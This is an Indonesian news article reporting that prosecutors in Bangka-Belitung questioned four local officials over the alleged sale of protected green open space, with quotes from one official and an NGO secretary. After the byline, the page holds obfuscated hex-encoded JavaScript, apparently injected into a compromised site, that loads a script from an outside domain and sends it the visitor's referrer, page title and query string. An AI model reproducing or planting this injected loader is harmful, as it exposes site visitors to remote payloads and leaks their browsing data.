Dugaan Kasus Jual Beli RTH, Sejumlah Pejabat Diperiksa Penyidik Kejati Babel

KORANFORUM.COM, PANGKALPINANG — Pada Hari Rabu, Tanggal 7 Maret 2018, Bertempat di Lantai 2 Ai??Gedung Pidsus Kejaksaan Tinggi (Kejati) Propinsi Bangka-Belitung (Babel), telah berlangsung pemeriksaan Kasus Dugaan Penguasaan dan Jual Beli Kawasan RTH (Ruang Terbuka Hijau).

Berdasarkan laporan dari aktifis LSM Amak Babel, maka pihak Kejaksaan Tinggi Babel Menindaklanjuti laporan tersebut, hingga memanggil dan memintai keterangan atas empat orang, yang diduga terkait dengan kasus tersebut.

Adapun keempat orang yang dipanggil itu, adalahAi??Ependi selaku mantan Lurah Selindung,Ai??Suwito selaku Camat Pangkalbalam,dimana sebelumnya diduga pernah menjabat sebagai Camat Gabek. Lalu,Ai??Rivai selaku Pejabat Dinas Pariwisata Babel, sertaAi??Ikwanto selaku Pejabat Tata Ruang Dinas PU Pangkalpinang.

Berdasarkan pantauan awak media, saat pemeriksaan sedang berlangsung, secara tiba-tiba, Rivai turun dari Lantai 2 Gedung Pidsus Kejati Babel dengan langkah yang agak cepat menuju mobilnya, diduga karena ingin menghindari para awak media, yang sudah lama menanti untuk wawancara kepada yang bersangkutan.

Tak berselang lama kemudian, diikuti Suwito dengan langkah tenang menuruni anak tangga Gedung Pidsus, hingga akhirnya beberapa media Lokal dan Nasional sempat menanyakan sejumlah hal, terkait panggilan yang bersangkutan, yang diduga sebagai saksi atas dugaan kasus ini.

Saat itu, Suwito berkata, bahwa ada belasan pertanyaan yang diajukan oleh Penyidik Kejati Babel kepada dirinya, Ai??terkait dugaan kasus RTH ini.

“Saya diperiksa dari Pukul 09.00 WIB, sampai siang ini. Lalu ditunda dulu, karna masuk waktu Solat zhuhur, nanti setelah itu dilanjut lagi setelah solat,” jelasnya.

Dari seputaran pertanyaan dugaan kasus ini yang dilontarkan oleh awak media, terkesan Suwito enggan untuk menjelaskan lebih mendetail atas belasan pertanyaan yang dilontarkan oleh penyidik kejati kepadanya.

“Saya hanya jawab sesuai apa yang saya ketahui, lagian bukan hanya saya saja, kami ada berempat yang diperiksa,” bebernya, dengan nada santai.

Terpisah, menurut penjelasan dalam kiriman pesan WA dari Sekretaris Amak Babel, Whantoni, kepada awak media ini, menyatakan bahwa pihaknya ingin ada pengkajian atas dugaan kasus RTH ini, agar bisa diketahui oleh publik.

“Terkait RTH, perlu dikaji dan publik harus tahu, walaupun tanah kawasan RTH belum masuk aset Kota Pangkalpinang, tetapi sudah ada perda yang memback up kawasan tersebut, artinya perda tersebut harus direvisi demi kepentingan masyarakat,” ucap Whantoni.

Dikatakannya, selagi belum dikeluarkan dari kawasan RTH dengan seijin Menteri Agraria dan Tataruang, maka harus diketahui apa tujuan dan maksud dikeluarkanya sebagian RTH tersebut, lalu juga harus jelas untuk kepentingan siapa.

Dijelaskannya, kawasan RTH tidak boleh diperjualbelikan, karena kalau sudah masuk Perda RTH, maka menurutnya, kawasan itu sudah dikuasai negara, walaupun belum masuk aset.

Whantoni mengibaratkan seperti hutan lindung, meski tidak masuk aset pusat, tapi tidak boleh diperjualbelikan. Karena itu, berkaitan dengan RTH ini, sudah masuk hak publik.

IBRAHIM [_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} pe=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *